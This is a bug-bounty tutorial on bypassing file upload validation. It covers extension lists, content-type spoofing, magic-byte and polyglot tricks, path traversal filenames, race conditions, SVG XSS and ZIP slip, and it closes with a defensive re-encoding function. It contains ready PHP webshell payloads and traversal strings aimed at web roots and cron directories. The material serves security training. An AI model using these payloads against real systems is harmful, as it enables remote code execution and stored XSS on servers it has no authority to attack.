Intermediate levelFree

File Upload — extension, content-type and magic bytes bypasses

10 bypasses to upload webshells: double extension, null byte, content-type spoof, magic bytes, polyglots, race conditions and path traversal abuse.

Gorka El BochiMay 9, 202613 min

Quick answer

File upload is vulnerable when the server accepts files without properly validating their content and serves them from a path where they execute. Direct RCE if you upload a webshell to a web directory served by the engine (PHP, ASP, JSP). The bypasses focus on: incomplete extension list, trusted content-type, spoofable magic bytes, double extension, null bytes, path traversal in the filename, and race conditions in sequential validators.


The defense tree

A "secure" upload endpoint should validate:

  1. Extension of the file (whitelist of allowed extensions).
  2. Content-Type (declared in multipart).
  3. Magic bytes of the real content.
  4. Maximum size.
  5. Filename sanitization (no path traversal, no null bytes).
  6. Non-executable storage path (don't serve from the web root).
  7. Filename randomization (don't allow client-supplied names).

If ANY of these fails, there's a vector. Most apps fail at least 2-3.


10 practical bypasses

1. Incomplete blacklist

If they block .php but not:

arduino
shell.phtml      → ejecuta PHP en Apache con default config
shell.phar       → archivo PHP
shell.pht        → ejecuta como PHP
shell.php3 / .php4 / .php5 / .php7
shell.pHp        → case sensitive en algunos
shell.php.png    → con ApacheDoubleExt habilitado

2. Double extension

When Apache is configured with AddHandler application/x-httpd-php .php:

css
shell.php.png       → si Apache reconoce .php en cualquier punto del filename, ejecuta
shell.phar.png

3. Null byte (legacy apps)

perl
shell.php%00.png    → en parsers que usan funciones C, %00 corta el string
shell.php\x00.jpg

PHP < 5.3.4 vulnerable. Still seen on unpatched systems.

4. Content-Type spoof

The client declares the Content-Type in multipart. If the server only trusts that:

http
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

If it only validates Content-Type: image/*, it passes.

5. Magic bytes spoof

If it validates with the PNG magic bytes (\x89PNG):

php
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

Some parsers only look at the first 8 bytes. The rest is interpreted as PHP when executed as such.

GIF is also common:

php
GIF89a;
<?php system($_GET['cmd']); ?>

6. Polyglot files

Files valid in two formats. E.g., PHP+JPG valid for libimage but also executable as PHP:

bash
# Crear polyglot
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php   # luego renombrar si extension permite

7. Path traversal in the filename

If the filename is written to a path:

ini
filename = "../../../../var/www/html/shell.php"
filename = "../../etc/cron.d/exec"
filename = "..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php"

Writes to an arbitrary directory.

8. Race condition between upload and validation

Some endpoints:

  1. Save the file.
  2. Scan it (antivirus, content check).
  3. If it fails, delete it.

If the file is HTTP-serviceable between step 1 and step 3, access it in that window:

bash
# Subir + acceder en bucle hasta que esté
while true; do curl https://target.tld/uploads/shell.php; done

9. SVG with script (uploaded as an image)

SVG is XML. It allows <script> or <iframe> that execute in the context of the domain serving the image:

xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

If the app serves SVG without sanitizing and it's loaded on a page of its own domain (avatar, logo) → Stored XSS.

10. ZIP slip / archive extraction

If the upload is a ZIP extracted server-side:

python
zip con archivo "../../../../etc/cron.d/exec"

Without validation, it writes to an arbitrary filesystem location on extraction.


Magic bytes validation — the correct pattern

python
def validate_image(file_bytes):
    # Extender lista de magics esperados
    magics = {
        'png': b'\x89PNG\r\n\x1a\n',
        'jpeg': b'\xff\xd8\xff',
        'gif': b'GIF89a',
    }

    # Identificar tipo real
    for fmt, magic in magics.items():
        if file_bytes.startswith(magic):
            # Re-encode con librería confiable para descartar payloads embebidos
            from PIL import Image
            from io import BytesIO
            img = Image.open(BytesIO(file_bytes))
            img.verify()
            # Re-save (esto destruye payloads PHP embebidos)
            output = BytesIO()
            img.save(output, format=fmt.upper())
            return output.getvalue()
    raise ValueError("Not a valid image")

The key trick: re-encode the image after validating. That destroys any weird payload embedded between the magic byte and the end.


Other possible impacts (not just RCE)

  • Stored XSS via SVG/HTML upload served on the same domain.
  • Account takeover if the avatar is served in an <img> and allows XSS → steals the session.
  • DoS via massive files / ZIP bomb.
  • Phishing if the domain serves PDFs mistaken for originals.
  • CSRF storage if the file is served as HTML+CSRF token.

Storage path, done correctly

Modern apps usually:

  1. Upload to an S3/GCS bucket (not on the web server's filesystem).
  2. Serve via a CDN with a separate domain (cdn.target.tld with limited headers).
  3. Force Content-Disposition: attachment for downloads (prevents inline execution).

Any deviation from this = likely vector.


Hunting checklist

  • Does the endpoint validate only extension, only content-type, or both?
  • Try .php, .phtml, .phar, .pht, .php5, mixed case?
  • Double extension .php.png? (Misconfigured Apache).
  • Spoofable magic bytes? Upload a valid PNG + PHP payload at the end.
  • Is SVG accepted? Try an embedded <script>.
  • Path traversal in the filename? ../../shell.php.
  • Is the client's filename respected or randomized?
  • Is the storage path served by the web server with execution?
  • Race condition between upload and antivirus/scan?
  • ZIP/archive uploads without validating the extracted content?

Practice the 10 bypasses against real apps with partial validation: File Upload labs.

Practice this in a lab

File Upload

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy